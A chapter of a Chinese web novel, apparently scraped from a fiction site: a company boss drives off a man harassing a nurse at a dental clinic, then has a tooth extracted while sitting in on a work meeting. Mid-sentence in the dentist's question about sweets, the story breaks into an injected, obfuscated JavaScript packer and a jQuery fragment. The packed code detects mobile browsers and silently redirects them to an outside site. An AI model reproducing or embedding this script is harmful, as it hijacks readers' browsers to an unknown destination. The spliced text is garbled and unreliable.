距离约定时间还有二十分钟，漆宴已经在诊所大厅里等候了。
“不好意思，梁医生还在里面看诊，请您坐在这儿稍等一下。”
詹护士将倒满水的一次性纸杯递给漆宴，礼貌地微笑道。
“没关系，是我来太早了。”漆宴耸了耸肩无所谓地说道。
诊所距离他家的距离不远，他是送戴云空去公司之后直接过来的，距离比想象中更近。
他刚在等候的长椅上落座，公司的电话便追了过来。
“漆总，仲总说您上午有事不进公司，您现在方便说话吗？”电话那头传来销售二部经理段松寅的声音。
“方便，你长话短说。”漆宴边说边戴上蓝牙耳机。
“好。”得到漆宴的回复，段松寅松了口气说道：“弗星建筑的费总希望我们的交货时间能够提前一个月……”
漆宴正耐心听着段松寅的汇报，抬头注意到外面走进来一个男人，只见对方露出一个猥琐的笑容，笔直朝着护士台走去。
漆宴看到詹护士和对方争执起来，男人伸手去拽她的胳膊，詹护士满脸慌张地后退。
男人见状想绕到护士台内侧，詹护士敏捷绕着桌子逃窜到对面，两人绕着护士台你追我赶了两圈，一时间场面陷入僵局。
漆宴站起身，维持着平静的语气边说边朝他们走去：“就这么回复弗星吧，如果费总有什么意见，你随时告知我，我会出面跟他解释。”
“好，我明白了。”段松寅安心地收了线。
漆宴这边站在詹护士和男人中间，男人注意到他的出现，不爽地瞪着他道：“你是谁？你挡在我面前做什么？”
他说罢，双眼依旧虎视眈眈地盯着漆宴身后的詹护士。
漆宴斜了他一眼没有说话，将目光投向詹护士问道：“这是你熟人？”
“我不认识他，他是之前诊所的患者，已经来这里纠缠过好几次了。”詹护士惊魂未定地说道。
“懂了。”
漆宴点头，冲男人勾了勾食指道：“过来。”
“你谁啊？你要做什么？”男人一脸戒备地看着他。
漆宴不悦地舔着上唇，本来还想少走一步路的，非要他多费力气。
想着，他一个箭步上前，拽起身形矮小还有点驼背的男人，压住他的肩膀放倒在护士台上。
“你做什么！”男人疯狂踢动双腿挣扎。
漆宴什么都没说，抡起拳头就给了男人的左脸一拳，男人被打得眼冒金星，连反抗的动作都停了下来。
趁着这个间隙，漆宴抬起腿一脚踹向他腿间下方十公分的位置，用力之猛硬生生将护士台的密度板踢凹进去一块。
刚清醒过来的男人坐起身看到这一幕只觉得裆.下一紧，望着那块凹陷的烤漆板瞠目结舌。
“这次就先放过你，下次再让我看到你出现在这里，我就把你的蛋踢碎，听懂了吗？”漆宴冷笑一声说道。
“我……你……”
男人的脸上满是恐慌之情，他看了漆宴一眼，又看了眼对面的詹护士，思考数秒后便大叫着连滚带爬地逃离了诊所。
詹护士看着男人狼狈逃窜的背影，感激地对漆宴说道：“太感谢你了漆先生，今天要不是有你，又不知道要惹出什么麻烦来。”
“他既然不是第一次来骚扰你，你为什么不报警？”漆宴问道。
“我报过警，但每次他都说他是来挂号看牙的，因为没有发生实质性伤害，警察也拿他没办法，只能口头警告。”詹护士无奈地说道。
漆宴闻言皱了皱眉，这种狗皮膏药一样的贱东西他见多了。
“这次他应该长教训了，如果他下次还敢来，你可以联系我，申请表上有我的联系方式。”他好心道。
“真的太谢谢你了，像这种欺软怕硬的人，应该不会有下次了。”詹护士连连道谢。
就在两人聊天之际，诊室的门打开了，梁夏衡边交代病人注意事项边走出来。
“补牙后两小时内注意不要进食，还有今天就不要吃太硬的食物了，注意吃饭也尽力不要用这侧的牙齿咀嚼。具体的注意事项你可以关注我们诊所的公众号，詹护士。”
说到这里，梁夏衡叫了一声，刚想麻烦对方接管病人，他的目光就被护士台外侧的坑吸引走了。
“这是……？”他难以置信地问道。
“抱歉，我没想到它质量会那么差。”漆宴不自在地挠着脖子，好像回答了，又好像没回答。
梁夏衡歪过头看向他，没有被口罩遮住的双眼里满是茫然。
“梁医生，不是这样的！”詹护士看不过去，连忙冲到梁夏衡身边解释。
碍于现场有其他患者在场，她只能附在梁夏衡耳边低语。
一番解释过后，梁夏衡弯起眼角对漆宴笑道：“原来是这样，那个患者一直是诊所的隐患，漆先生真是帮大忙了。”
“没关系，桌子我会照价赔偿的，账单到时候你跟治疗费一起给我吧。”漆宴没有逃避责任的意思，不卑不亢地说道。
“不必在意那个。”梁夏衡笑着摇头道：“你先跟我进来吧。”
漆宴刚在治疗椅上躺下，口袋里的手机再次响了起来。
这次是仲婷打来的电话，原本定在下午的在线会议临时调整到上午，她来电询问漆宴是否方便参会。
“不方便说话，不过我可以挂着听。”漆宴回道。
“你要挂着电话做手术吗？”梁夏衡惊讶地问道。
“会影响到你吗？我戴耳机。”漆宴说。
“那倒没有。”梁夏衡挑了挑眉，说道：“不过很多人会恐惧牙钻的声音，我还想如果需要的话，我给你准备了一个玩偶。”
他说着指向角落里放着的一个大型的棕熊玩偶，造型可爱看起来软绵绵的很好抱。
“我又不是小孩子。”漆宴无语地说道。
“看得出，漆先生相当不惧怕看牙，好了，张嘴，啊——”梁夏衡笑得十分温柔。
漆宴配合地张开嘴，梁夏衡探照观测了一番说道：“除了左上方的智齿需要拔出，下侧的第一磨牙有龋齿的症状，你平时喜欢吃甜食吗？”
“什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734396|167202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？！”漆宴瞪大眼睛，震惊地问道。
“就是蛀牙。”担心漆宴没听懂，梁夏衡耐心回道。
漆宴当然听明白了他的意思，就是因为听懂了才更震惊。
“咳咳，刚才那句话，别跟任何人说。”他轻咳两声交代道。
他都不敢想这件事被戴云空那小子听到又该怎么阴阳怪气了，他必须把这个秘密带进土里去。
“嗯？”梁夏衡疑惑地看着他。
“小孩子才会得蛀牙，我又不是小孩！”漆宴扶额说道。
梁夏衡听闻后忍不住笑了起来：“哈哈哈，漆先生您真的，太有意思了。”
漆宴不爽地看着他，他这才停下笑声解释道：“龋病不管什么年纪都会得，想要避免这个问题，只能正视我们的牙齿健康，不要让它轻易生病。”
他说着，给了漆宴一个wink。
看着他这副模样，漆宴沉默片刻问道：“梁医生，你的病人大多数是小孩吗？”
“哈哈哈，被你发现了，诊所附近有两所中学。”梁夏衡说道。
看来是真把他当成小孩子对待了。
漆宴无语地翻了个白眼说道：“行了，你管你做手术，我要开会了。”
他说完，打开手机挂上了会议。
梁夏衡好心提醒道：“牙钻的声音可能有些吵。”
“没关系，我静音了，只是听他们的会议内容罢了，你不用管我死活。”漆宴淡定地说道。
梁夏衡扬了扬眉，没有再说话。
漆宴如他所说的那般，对拔牙毫无畏惧，甚至一度不记得自己在做手术，轻声应着会议中仲婷的话。
“嗯。”
“嗯。”
“嗯。”
只有鼻子能发出声音，他不停哼着气，直到最后手术快结束的时候，他突然瞪大眼睛，不满地发出一声拖长尾音的长鸣：“嗯——？”
梁夏衡几乎要被他逗笑了，他扶漆宴起来漱口的同时问道：“要不要看一眼你的智齿？”
“不了，我现在有事要回公司。”漆宴果决地说道。
“嗯？”梁夏衡一愣，说道：“但是你刚注射过麻药，至少需要留在这里观察四十分钟才能离开。”
“放心，死不掉。”漆宴起身去拿外套。
“无论多紧急的工作，多请半小时的假，老板应该可以体谅吧？或者说，我给你开一张请假单，这样可以吗？”梁夏衡拦住他说道。
“不可以。”漆宴摇头说道：“因为我就是老板。”
“诶？”梁夏衡懵逼地看着他。
漆宴没有多解释什么，径自走出诊室，找詹护士签了字。
等梁夏衡反应过来的时候，他已经咬着棉球走了。
“漆先生，你的药！”
他追出诊所，就看到漆宴钻入车内，一路朝着停车场出口开去。
“还真是一意孤行的人呢。”
他喃喃自语着，内心对漆宴的兴趣已经拉到了顶点。
“要找个时机亲手把药送到他手里才行啊。”他微笑着垂下眼眸。